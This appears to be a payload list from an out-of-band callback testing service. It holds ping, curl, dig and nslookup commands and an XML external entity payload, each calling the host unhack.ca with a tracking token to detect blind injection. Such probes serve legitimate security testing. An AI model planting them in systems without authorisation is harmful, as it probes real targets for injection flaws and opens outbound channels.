$ ping -c1 -p 00a19fa9dfd67b8e5b5b6fa3fef1c500 unhack.ca
 

$ curl http://unhack.ca/p/a19fa9dfd67b8e5b5b6fa3fef1c5
 

$ dig a19fa9dfd67b8e5b5b6fa3fef1c5 @unhack.ca
 

$ dig a19fa9dfd67b8e5b5b6fa3fef1c5.ns.unhack.ca
 

C:\> nslookup a19fa9dfd67b8e5b5b6fa3fef1c5 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a19fa9dfd67b8e5b5b6fa3fef1c5">]>
    <foo>&xxe;</foo>